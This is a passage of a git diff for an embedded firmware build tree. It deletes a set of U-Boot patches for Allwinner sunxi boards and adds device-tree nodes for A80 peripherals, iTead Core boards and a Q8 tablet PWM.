--			#interrupt-cells = <2>;
-+			#interrupt-cells = <3>;
- 			#size-cells = <0>;
- 			#gpio-cells = <3>;
- 
-@@ -604,7 +704,8 @@
- 			mmc2_8bit_pins: mmc2_8bit {
- 				allwinner,pins = "PC6", "PC7", "PC8", "PC9",
- 						 "PC10", "PC11", "PC12",
--						 "PC13", "PC14", "PC15";
-+						 "PC13", "PC14", "PC15",
-+						 "PC16";
- 				allwinner,function = "mmc2";
- 				allwinner,drive = <SUN4I_PINCTRL_30_MA>;
- 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-@@ -752,14 +853,83 @@
- 			interrupts = <GIC_SPI 36 IRQ_TYPE_LEVEL_HIGH>;
- 		};
- 
-+		apbs_rst: reset at 080014b0 {
-+			reg = <0x080014b0 0x4>;
-+			compatible = "allwinner,sun6i-a31-clock-reset";
-+			#reset-cells = <1>;
-+		};
-+
-+		nmi_intc: interrupt-controller at 080015a0 {
-+			compatible = "allwinner,sun9i-a80-nmi";
-+			interrupt-controller;
-+			#interrupt-cells = <2>;
-+			reg = <0x080015a0 0xc>;
-+			interrupts = <GIC_SPI 32 IRQ_TYPE_LEVEL_HIGH>;
-+		};
-+
-+		r_ir: ir at 08002000 {
-+			compatible = "allwinner,sun5i-a13-ir";
-+			interrupts = <GIC_SPI 37 IRQ_TYPE_LEVEL_HIGH>;
-+			pinctrl-names = "default";
-+			pinctrl-0 = <&r_ir_pins>;
-+			clocks = <&apbs_gates 1>, <&r_ir_clk>;
-+			clock-names = "apb", "ir";
-+			resets = <&apbs_rst 1>;
-+			reg = <0x08002000 0x40>;
-+			status = "disabled";
-+		};
-+
- 		r_uart: serial at 08002800 {
- 			compatible = "snps,dw-apb-uart";
- 			reg = <0x08002800 0x400>;
- 			interrupts = <GIC_SPI 38 IRQ_TYPE_LEVEL_HIGH>;
- 			reg-shift = <2>;
- 			reg-io-width = <4>;
--			clocks = <&osc24M>;
-+			clocks = <&apbs_gates 4>;
-+			resets = <&apbs_rst 4>;
- 			status = "disabled";
- 		};
-+
-+		r_pio: pinctrl at 08002c00 {
-+			compatible = "allwinner,sun9i-a80-r-pinctrl";
-+			reg = <0x08002c00 0x400>;
-+			interrupts = <GIC_SPI 45 IRQ_TYPE_LEVEL_HIGH>,
-+				     <GIC_SPI 46 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&apbs_gates 0>;
-+			resets = <&apbs_rst 0>;
-+			gpio-controller;
-+			interrupt-controller;
-+			#address-cells = <1>;
-+			#size-cells = <0>;
-+			#gpio-cells = <3>;
-+
-+			r_ir_pins: r_ir {
-+				allwinner,pins = "PL6";
-+				allwinner,function = "s_cir_rx";
-+				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+			};
-+
-+			r_rsb_pins: r_rsb {
-+				allwinner,pins = "PN0", "PN1";
-+				allwinner,function = "s_rsb";
-+				allwinner,drive = <SUN4I_PINCTRL_20_MA>;
-+				allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+			};
-+		};
-+
-+		r_rsb: i2c at 08003400 {
-+			compatible = "allwinner,sun8i-a23-rsb";
-+			reg = <0x08003400 0x400>;
-+			interrupts = <GIC_SPI 39 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&apbs_gates 3>;
-+			clock-frequency = <3000000>;
-+			resets = <&apbs_rst 3>;
-+			pinctrl-names = "default";
-+			pinctrl-0 = <&r_rsb_pins>;
-+			status = "disabled";
-+			#address-cells = <1>;
-+			#size-cells = <0>;
-+		};
- 	};
- };
---- /dev/null
-+++ b/arch/arm/dts/sunxi-itead-core-common.dtsi
-@@ -0,0 +1,136 @@
-+/*
-+ * Copyright 2015 - Marcus Cooper <codekipper at gmail.com>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+#include "sunxi-common-regulators.dtsi"
-+
-+/ {
-+	aliases {
-+		serial0 = &uart0;
-+	};
-+
-+	chosen {
-+		stdout-path = "serial0:115200n8";
-+	};
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
-+};
-+
-+&ehci0 {
-+	status = "okay";
-+};
-+
-+&ehci1 {
-+	status = "okay";
-+};
-+
-+&i2c0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c0_pins_a>;
-+	status = "okay";
-+
-+	axp209: pmic at 34 {
-+		reg = <0x34>;
-+	};
-+};
-+
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+};
-+
-+&ohci0 {
-+	status = "okay";
-+};
-+
-+&ohci1 {
-+	status = "okay";
-+};
-+
-+#include "axp209.dtsi"
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-int-dll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_usb1_vbus {
-+	status = "okay";
-+};
-+
-+&reg_usb2_vbus {
-+	status = "okay";
-+};
-+
-+&uart0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&uart0_pins_a>;
-+	status = "okay";
-+};
-+
-+&usbphy {
-+	usb1_vbus-supply = <&reg_usb1_vbus>;
-+	usb2_vbus-supply = <&reg_usb2_vbus>;
-+	status = "okay";
-+};
---- a/arch/arm/dts/sunxi-q8-common.dtsi
-+++ b/arch/arm/dts/sunxi-q8-common.dtsi
-@@ -75,3 +75,9 @@
- 		voltage = <400000>;
- 	};
- };
-+
-+&pwm {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&pwm0_pins>;
-+	status = "okay";
-+};
diff --git a/package/boot/uboot-sunxi/patches/012-sun6i-fix-clock_twi_onoff.patch b/package/boot/uboot-sunxi/patches/012-sun6i-fix-clock_twi_onoff.patch
deleted file mode 100644
index 4541670..0000000
--- a/package/boot/uboot-sunxi/patches/012-sun6i-fix-clock_twi_onoff.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 730d2f3a41c5ccae71b5008fffdf697d143be68c Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Wed, 16 Mar 2016 20:44:51 +0100
-Subject: [PATCH] sunxi: Fix clock_twi_onoff for sun6i
-
-The clock_sun6i.c implementation was not deasserting the reset for
-the regular i2c controllers, this commit fixes this.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Acked-by: Ian Campbell <ijc at hellion.org.uk>
----
- arch/arm/cpu/armv7/sunxi/clock_sun6i.c | 11 ++++++++---
- 1 file changed, 8 insertions(+), 3 deletions(-)
-
---- a/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
-+++ b/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
-@@ -100,13 +100,18 @@ int clock_twi_onoff(int port, int state)
- 		return 0;
- 	}
- 
--	/* set the apb clock gate for twi */
--	if (state)
-+	/* set the apb clock gate and reset for twi */
-+	if (state) {
- 		setbits_le32(&ccm->apb2_gate,
- 			     CLK_GATE_OPEN << (APB2_GATE_TWI_SHIFT+port));
--	else
-+		setbits_le32(&ccm->apb2_reset_cfg,
-+			     1 << (APB2_RESET_TWI_SHIFT + port));
-+	} else {
-+		clrbits_le32(&ccm->apb2_reset_cfg,
-+			     1 << (APB2_RESET_TWI_SHIFT + port));
- 		clrbits_le32(&ccm->apb2_gate,
- 			     CLK_GATE_OPEN << (APB2_GATE_TWI_SHIFT+port));
-+	}
- 
- 	return 0;
- }
diff --git a/package/boot/uboot-sunxi/patches/013-enable-realtek-phy.patch b/package/boot/uboot-sunxi/patches/013-enable-realtek-phy.patch
deleted file mode 100644
index 47f825c..0000000
--- a/package/boot/uboot-sunxi/patches/013-enable-realtek-phy.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From 1eae8f66ff749409eb96e2f3f3387c56232d0b8a Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Wed, 16 Mar 2016 13:46:22 +0100
-Subject: [PATCH] sunxi: Enable realtek phy support
-
-Enable building of drivers/net/phy/realtek.c so that realtek phys
-get properly initialized.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Acked-by: Ian Campbell <ijc at hellion.org.uk>
----
- include/configs/sunxi-common.h | 1 +
- 1 file changed, 1 insertion(+)
-
---- a/include/configs/sunxi-common.h
-+++ b/include/configs/sunxi-common.h
-@@ -314,6 +314,7 @@ extern int soft_i2c_gpio_scl;
- #define CONFIG_PHY_GIGE			/* GMAC can use gigabit PHY	*/
- #define CONFIG_PHY_ADDR		1
- #define CONFIG_MII			/* MII PHY management		*/
-+#define CONFIG_PHY_REALTEK
- #endif
- 
- #ifdef CONFIG_USB_EHCI_HCD
diff --git a/package/boot/uboot-sunxi/patches/014-fix-gmac-init.patch b/package/boot/uboot-sunxi/patches/014-fix-gmac-init.patch
deleted file mode 100644
index cf511ce..0000000
--- a/package/boot/uboot-sunxi/patches/014-fix-gmac-init.patch
+++ /dev/null
@@ -1,127 +0,0 @@
-From fc8991c61c393ce6a9d3dfc97cb56dbbd9e8cbba Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Thu, 17 Mar 2016 13:53:03 +0100
-Subject: [PATCH] sunxi: Fix gmac not working due to cpu_eth_init no longer
- being called
-
-cpu_eth_init is no longer called for dm enabled eth drivers, this
-was causing the sunxi gmac eth controller to no longer work in u-boot.
-
-This commit fixes this by calling the clock, reset and pinmux setup
-function from s_init() and enabling the phy power pin (if any) from
-board_init().
-
-The enabling of phy power cannot be done from s_init because it uses dm
-and dm is not ready yet at this point.
-
-Note that the mdelay is dropped as the phy gets enabled much earlier
-now, so it is no longer needed.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Acked-by: Ian Campbell <ijc at hellion.org.uk>
-Tested-by: Karsten Merker <merker at debian.org>
-Tested-by: Michael Haas <haas at computerlinguist.org>
----
- arch/arm/cpu/armv7/sunxi/board.c            | 28 +---------------------------
- arch/arm/include/asm/arch-sunxi/sys_proto.h |  6 +++++-
- board/sunxi/board.c                         |  5 +++++
- board/sunxi/gmac.c                          | 14 +-------------
- 4 files changed, 12 insertions(+), 41 deletions(-)
-
---- a/arch/arm/cpu/armv7/sunxi/board.c
-+++ b/arch/arm/cpu/armv7/sunxi/board.c
-@@ -136,6 +136,7 @@ void s_init(void)
- 	timer_init();
- 	gpio_init();
- 	i2c_init_board();
-+	eth_init_board();
- }
- 
- #ifdef CONFIG_SPL_BUILD
-@@ -243,30 +244,3 @@ void enable_caches(void)
- 	dcache_enable();
- }
- #endif
--
--#ifdef CONFIG_CMD_NET
--/*
-- * Initializes on-chip ethernet controllers.
-- * to override, implement board_eth_init()
-- */
--int cpu_eth_init(bd_t *bis)
--{
--	__maybe_unused int rc;
--
--#ifdef CONFIG_MACPWR
--	gpio_request(CONFIG_MACPWR, "macpwr");
--	gpio_direction_output(CONFIG_MACPWR, 1);
--	mdelay(200);
--#endif
--
--#ifdef CONFIG_SUNXI_GMAC
--	rc = sunxi_gmac_initialize(bis);
--	if (rc < 0) {
--		printf("sunxi: failed to initialize gmac\n");
--		return rc;
--	}
--#endif
--
--	return 0;
--}
--#endif
---- a/arch/arm/include/asm/arch-sunxi/sys_proto.h
-+++ b/arch/arm/include/asm/arch-sunxi/sys_proto.h
-@@ -24,6 +24,10 @@ void sdelay(unsigned long);
- void return_to_fel(uint32_t lr, uint32_t sp);
- 
- /* Board / SoC level designware gmac init */
--int sunxi_gmac_initialize(bd_t *bis);
-+#if !defined CONFIG_SPL_BUILD && defined CONFIG_SUNXI_GMAC
-+void eth_init_board(void);
-+#else
-+static inline void eth_init_board(void) {}
-+#endif
- 
- #endif
---- a/board/sunxi/board.c
-+++ b/board/sunxi/board.c
-@@ -90,6 +90,11 @@ int board_init(void)
- 	if (ret)
- 		return ret;
- 
-+#ifdef CONFIG_MACPWR
-+	gpio_request(CONFIG_MACPWR, "macpwr");
-+	gpio_direction_output(CONFIG_MACPWR, 1);
-+#endif
-+
- 	/* Uses dm gpio code so do this here and not in i2c_init_board() */
- 	return soft_i2c_board_init();
- }
---- a/board/sunxi/gmac.c
-+++ b/board/sunxi/gmac.c
-@@ -6,7 +6,7 @@
- #include <asm/arch/clock.h>
- #include <asm/arch/gpio.h>
- 
--int sunxi_gmac_initialize(bd_t *bis)
-+void eth_init_board(void)
- {
- 	int pin;
- 	struct sunxi_ccm_reg *const ccm =
-@@ -79,16 +79,4 @@ int sunxi_gmac_initialize(bd_t *bis)
- 	for (pin = SUNXI_GPA(26); pin <= SUNXI_GPA(27); pin++)
- 		sunxi_gpio_set_cfgpin(pin, SUN6I_GPA_GMAC);
- #endif
--
--#ifdef CONFIG_DM_ETH
--	return 0;
--#else
--# ifdef CONFIG_RGMII
--	return designware_initialize(SUNXI_GMAC_BASE, PHY_INTERFACE_MODE_RGMII);
--# elif defined CONFIG_GMII
--	return designware_initialize(SUNXI_GMAC_BASE, PHY_INTERFACE_MODE_GMII);
--# else
--	return designware_initialize(SUNXI_GMAC_BASE, PHY_INTERFACE_MODE_MII);
--# endif
--#endif
- }
diff --git a/package/boot/uboot-sunxi/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch b/package/boot/uboot-sunxi/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch
deleted file mode 100644
index 95a77c6..0000000
--- a/package/boot/uboot-sunxi/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch
+++ /dev/null
@@ -1,78 +0,0 @@
-From 948603d4d637a0e04a3214253b911cfc4ed11220 Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Mon, 21 Mar 2016 14:44:35 +0100
-Subject: [PATCH] sunxi: Fix 2nd usb controller on sun4i/sun7i no longer
- working
-
-The 2nd usb controller on sun4i/sun7i has its base address 0x8000
-bytes from the 1st one, rather then 0x1000. Also the ahb clk gates
-are interleaved with the ohci clk-gates introducing a hole between
-the clks for usb1 and usb2.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Acked-by: Ian Campbell <ijc at hellion.org.uk>
----
- drivers/usb/host/ehci-sunxi.c | 13 +++++++++++--
- drivers/usb/host/ohci-sunxi.c | 15 ++++++++++++---
- 2 files changed, 23 insertions(+), 5 deletions(-)
-
---- a/drivers/usb/host/ehci-sunxi.c
-+++ b/drivers/usb/host/ehci-sunxi.c
-@@ -17,6 +17,14 @@
- #include <dm.h>
- #include "ehci.h"
- 
-+#ifdef CONFIG_SUNXI_GEN_SUN4I
-+#define BASE_DIST		0x8000
-+#define AHB_CLK_DIST		2
-+#else
-+#define BASE_DIST		0x1000
-+#define AHB_CLK_DIST		1
-+#endif
-+
- struct ehci_sunxi_priv {
- 	struct ehci_ctrl ehci;
- 	int ahb_gate_mask; /* Mask of ahb_gate0 clk gate bits for this hcd */
-@@ -39,8 +47,9 @@ static int ehci_usb_probe(struct udevice
- #ifdef CONFIG_MACH_SUN8I_H3
- 	priv->ahb_gate_mask |= 1 << AHB_GATE_OFFSET_USB_OHCI0;
- #endif
--	priv->phy_index = ((u32)hccr - SUNXI_USB1_BASE) / 0x1000 + 1;
--	priv->ahb_gate_mask <<= priv->phy_index - 1;
-+	priv->phy_index = ((u32)hccr - SUNXI_USB1_BASE) / BASE_DIST;
-+	priv->ahb_gate_mask <<= priv->phy_index * AHB_CLK_DIST;
-+	priv->phy_index++; /* Non otg phys start at 1 */
- 
- 	setbits_le32(&ccm->ahb_gate0, priv->ahb_gate_mask);
- #ifdef CONFIG_SUNXI_GEN_SUN6I
---- a/drivers/usb/host/ohci-sunxi.c
-+++ b/drivers/usb/host/ohci-sunxi.c
-@@ -17,6 +17,14 @@
- #include <usb.h>
- #include "ohci.h"
- 
-+#ifdef CONFIG_SUNXI_GEN_SUN4I
-+#define BASE_DIST		0x8000
-+#define AHB_CLK_DIST		2
-+#else
-+#define BASE_DIST		0x1000
-+#define AHB_CLK_DIST		1
-+#endif
-+
- struct ohci_sunxi_priv {
- 	ohci_t ohci;
- 	int ahb_gate_mask; /* Mask of ahb_gate0 clk gate bits for this hcd */
-@@ -42,9 +50,10 @@ static int ohci_usb_probe(struct udevice
- 	priv->ahb_gate_mask |= 1 << AHB_GATE_OFFSET_USB_EHCI0;
- #endif
- 	priv->usb_gate_mask = CCM_USB_CTRL_OHCI0_CLK;
--	priv->phy_index = ((u32)regs - (SUNXI_USB1_BASE + 0x400)) / 0x1000 + 1;
--	priv->ahb_gate_mask <<= priv->phy_index - 1;
--	priv->usb_gate_mask <<= priv->phy_index - 1;
-+	priv->phy_index = ((u32)regs - (SUNXI_USB1_BASE + 0x400)) / BASE_DIST;
-+	priv->ahb_gate_mask <<= priv->phy_index * AHB_CLK_DIST;
-+	priv->usb_gate_mask <<= priv->phy_index;
-+	priv->phy_index++; /* Non otg phys start at 1 */
- 
- 	setbits_le32(&ccm->ahb_gate0, priv->ahb_gate_mask);
- 	setbits_le32(&ccm->usb_clk_cfg, priv->usb_gate_mask);
diff --git a/package/boot/uboot-sunxi/patches/016-spl-print-mmc-slot.patch b/package/boot/uboot-sunxi/patches/016-spl-print-mmc-slot.patch
deleted file mode 100644
index 04a2af7..0000000
--- a/package/boot/uboot-sunxi/patches/016-spl-print-mmc-slot.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 8f10b5c65611e6c15a113bf63289b6696452f90d Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Sun, 20 Mar 2016 14:17:10 +0100
-Subject: [PATCH] spl: Print from which mmc slot spl is trying to boot
-
-On some sunxi boards (and presumably also non sunxi boards) u-boot can
-be either loaded from a sdcard in a micro-sd slot, or from eMMC.
-
-Print which MMC spl tries to boot from, to help debugging.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Reviewed-by: Tom Rini <trini at konsulko.com>
----
- common/spl/spl.c | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
---- a/common/spl/spl.c
-+++ b/common/spl/spl.c
-@@ -210,9 +210,9 @@ struct boot_device_name boot_name_table[
- 	{ BOOT_DEVICE_RAM, "RAM" },
- #endif
- #ifdef CONFIG_SPL_MMC_SUPPORT
--	{ BOOT_DEVICE_MMC1, "MMC" },
--	{ BOOT_DEVICE_MMC2, "MMC" },
--	{ BOOT_DEVICE_MMC2_2, "MMC" },
-+	{ BOOT_DEVICE_MMC1, "MMC1" },
-+	{ BOOT_DEVICE_MMC2, "MMC2" },
-+	{ BOOT_DEVICE_MMC2_2, "MMC2_2" },
- #endif
- #ifdef CONFIG_SPL_NAND_SUPPORT
- 	{ BOOT_DEVICE_NAND, "NAND" },
diff --git a/package/boot/uboot-sunxi/patches/017-usb-add-support-for-usb3-vbus-pin.patch b/package/boot/uboot-sunxi/patches/017-usb-add-support-for-usb3-vbus-pin.patch
deleted file mode 100644
index 098fe72..0000000
--- a/package/boot/uboot-sunxi/patches/017-usb-add-support-for-usb3-vbus-pin.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 60fa63012fcdc3c4ec1497bf5e358f0a90b40949 Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Fri, 18 Mar 2016 08:42:01 +0100
-Subject: [PATCH] sunxi: Add support for USB vbus pin for USB3
-
-The H3 has USB0 - USB3, add support for having a USB vbus pin for USB3.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Acked-by: Ian Campbell <ijc at hellion.org.uk>
----
- arch/arm/cpu/armv7/sunxi/usb_phy.c | 1 +
- board/sunxi/Kconfig                | 6 ++++++
- 2 files changed, 7 insertions(+)
-
---- a/arch/arm/cpu/armv7/sunxi/usb_phy.c
-+++ b/arch/arm/cpu/armv7/sunxi/usb_phy.c
-@@ -76,6 +76,7 @@ static int get_vbus_gpio(int index)
- 	case 0: return sunxi_name_to_gpio(CONFIG_USB0_VBUS_PIN);
- 	case 1: return sunxi_name_to_gpio(CONFIG_USB1_VBUS_PIN);
- 	case 2: return sunxi_name_to_gpio(CONFIG_USB2_VBUS_PIN);
-+	case 3: return sunxi_name_to_gpio(CONFIG_USB3_VBUS_PIN);
- 	}
- 	return -EINVAL;
- }
---- a/board/sunxi/Kconfig
-+++ b/board/sunxi/Kconfig
-@@ -341,6 +341,12 @@ config USB2_VBUS_PIN
- 	---help---
- 	See USB1_VBUS_PIN help text.
- 
-+config USB3_VBUS_PIN
-+	string "Vbus enable pin for usb3 (ehci2)"
-+	default ""
-+	---help---
-+	See USB1_VBUS_PIN help text.
-+
- config I2C0_ENABLE
- 	bool "Enable I2C/TWI controller 0"
- 	default y if MACH_SUN4I || MACH_SUN5I || MACH_SUN7I
diff --git a/package/boot/uboot-sunxi/patches/018-usb-specify-vbus-pins-on-orangepis.patch b/package/boot/uboot-sunxi/patches/018-usb-specify-vbus-pins-on-orangepis.patch
deleted file mode 100644
index a216bc9..0000000
--- a/package/boot/uboot-sunxi/patches/018-usb-specify-vbus-pins-on-orangepis.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From ce0d0926758f631fdd655d438acd32d5935d43a4 Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Fri, 18 Mar 2016 08:45:21 +0100
-Subject: [PATCH] sunxi: Specify USB vbus pins for orangepi boards
-
-This fixes the USB ports not working on the orangepi_plus and stops us
-from messing with gpio-s which we should not touch on the orangepi_pc.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Acked-by: Ian Campbell <ijc at hellion.org.uk>
----
- configs/orangepi_pc_defconfig   | 3 +++
- configs/orangepi_plus_defconfig | 1 +
- 2 files changed, 4 insertions(+)
-
---- a/configs/orangepi_pc_defconfig
-+++ b/configs/orangepi_pc_defconfig
-@@ -14,3 +14,6 @@ CONFIG_SPL=y
- CONFIG_CMD_GPIO=y
- CONFIG_SY8106A_POWER=y
- CONFIG_USB_EHCI_HCD=y
-+CONFIG_USB1_VBUS_PIN=""
-+CONFIG_USB2_VBUS_PIN=""
-+CONFIG_USB3_VBUS_PIN=""
---- a/configs/orangepi_plus_defconfig
-+++ b/configs/orangepi_plus_defconfig
-@@ -14,3 +14,4 @@ CONFIG_SPL=y
- CONFIG_CMD_GPIO=y
- CONFIG_SY8106A_POWER=y
- CONFIG_USB_EHCI_HCD=y
-+CONFIG_USB1_VBUS_PIN="PG13"
diff --git a/package/boot/uboot-sunxi/patches/019-sid-add-efuse-support-for-h3-a83t.patch b/package/boot/uboot-sunxi/patches/019-sid-add-efuse-support-for-h3-a83t.patch
deleted file mode 100644
index e7b8cd7..0000000
--- a/package/boot/uboot-sunxi/patches/019-sid-add-efuse-support-for-h3-a83t.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 70fe24ed93fa90eb407d18a5fc9d9ad85ac9184c Mon Sep 17 00:00:00 2001
-From: Chen-Yu Tsai <wens at csie.org>
-Date: Wed, 27 Jan 2016 16:34:43 +0800
-Subject: [PATCH] sunxi: Support SID e-fuses on A83T and H3
-
-On the A83T and H3, the SID block is at a different address.
-Furthurmore, the e-fuses are at an offset of 0x200 within the
-hardware's address space.
-
-Signed-off-by: Chen-Yu Tsai <wens at csie.org>
-Acked-by: Hans de Goede <hdegoede at redhat.com>
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
----
- arch/arm/include/asm/arch-sunxi/cpu_sun4i.h | 7 +++++++
- 1 file changed, 7 insertions(+)
-
---- a/arch/arm/include/asm/arch-sunxi/cpu_sun4i.h
-+++ b/arch/arm/include/asm/arch-sunxi/cpu_sun4i.h
-@@ -82,7 +82,14 @@
- #define SUNXI_AD_DA_BASE		0x01c22c00
- #define SUNXI_KEYPAD_BASE		0x01c23000
- #define SUNXI_TZPC_BASE			0x01c23400
-+
-+#if defined(CONFIG_MACH_SUN8I_A83T) || defined(CONFIG_MACH_SUN8I_H3)
-+/* SID address space starts at 0x01c1400, but e-fuse is at offset 0x200 */
-+#define SUNXI_SID_BASE			0x01c14200
-+#else
- #define SUNXI_SID_BASE			0x01c23800
-+#endif
-+
- #define SUNXI_SJTAG_BASE		0x01c23c00
- 
- #define SUNXI_TP_BASE			0x01c25000
diff --git a/package/boot/uboot-sunxi/patches/020-boot-display-board-model-on-startup.patch b/package/boot/uboot-sunxi/patches/020-boot-display-board-model-on-startup.patch
deleted file mode 100644
index d49fc97..0000000
--- a/package/boot/uboot-sunxi/patches/020-boot-display-board-model-on-startup.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 2af25b747340c6c8f6a6b9e27632db577bf4da52 Mon Sep 17 00:00:00 2001
-From: Simon Glass <sjg at chromium.org>
-Date: Mon, 22 Feb 2016 22:55:46 -0700
-Subject: [PATCH] sunxi: Display the board model on start-up
-
-It is useful to know which sunxi board you are booting. Display this on
-start-up to avoid confusion.
-
-Signed-off-by: Simon Glass <sjg at chromium.org>
----
- include/configs/sunxi-common.h | 1 +
- 1 file changed, 1 insertion(+)
-
---- a/include/configs/sunxi-common.h
-+++ b/include/configs/sunxi-common.h
-@@ -174,6 +174,7 @@
- 
- #define CONFIG_SYS_MONITOR_LEN		(768 << 10)	/* 768 KiB */
- #define CONFIG_IDENT_STRING		" Allwinner Technology"
-+#define CONFIG_DISPLAY_BOARDINFO
- 
- #define CONFIG_ENV_OFFSET		(544 << 10) /* (8 + 24 + 512) KiB */
- #define CONFIG_ENV_SIZE			(128 << 10)	/* 128 KiB */
diff --git a/package/boot/uboot-sunxi/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch b/package/boot/uboot-sunxi/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch
deleted file mode 100644
index a402feb..0000000
--- a/package/boot/uboot-sunxi/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From a58eb20fb80f478038243e9e0f30f6984725e265 Mon Sep 17 00:00:00 2001
-From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
-Date: Tue, 6 Jan 2015 15:47:18 +0100
-Subject: sun6i: Sync PLL1 multipliers/dividers with Boot1
-
-This change syncs up the multipliers and dividers used to initialize
-PLL1 (i.e. the fast clock driving the ARM cores) with the values used
-in Allwinner's Boot1 on sun6i.
-
-More specifically, the following settings are now used:
- * up to 768MHz:  mul=2, div=2 (was: mul=1, div=1)
- * up to 1152MHz: mul=3, div=2 (unchanged)
- * above 1152MHz: mul=4, div=2 (was: mul=2, div=1)
-
---- a/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
-+++ b/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
-@@ -122,11 +122,12 @@ void clock_set_pll1(unsigned int clk)
- 	struct sunxi_ccm_reg * const ccm =
- 		(struct sunxi_ccm_reg *)SUNXI_CCM_BASE;
- 	const int p = 0;
--	int k = 1;
--	int m = 1;
-+	int k = 2;
-+	int m = 2;
- 
- 	if (clk > 1152000000) {
--		k = 2;
-+		k = 4;
-+		m = 2;
- 	} else if (clk > 768000000) {
- 		k = 3;
- 		m = 2;
diff --git a/package/boot/uboot-sunxi/patches/093-sun6i-fix-PLL-LDO-voltselect.patch b/package/boot/uboot-sunxi/patches/093-sun6i-fix-PLL-LDO-voltselect.patch
deleted file mode 100644
index d200633..0000000
--- a/package/boot/uboot-sunxi/patches/093-sun6i-fix-PLL-LDO-voltselect.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From b2b385df5095fff80b4655142f58a2a6801e6c80 Mon Sep 17 00:00:00 2001
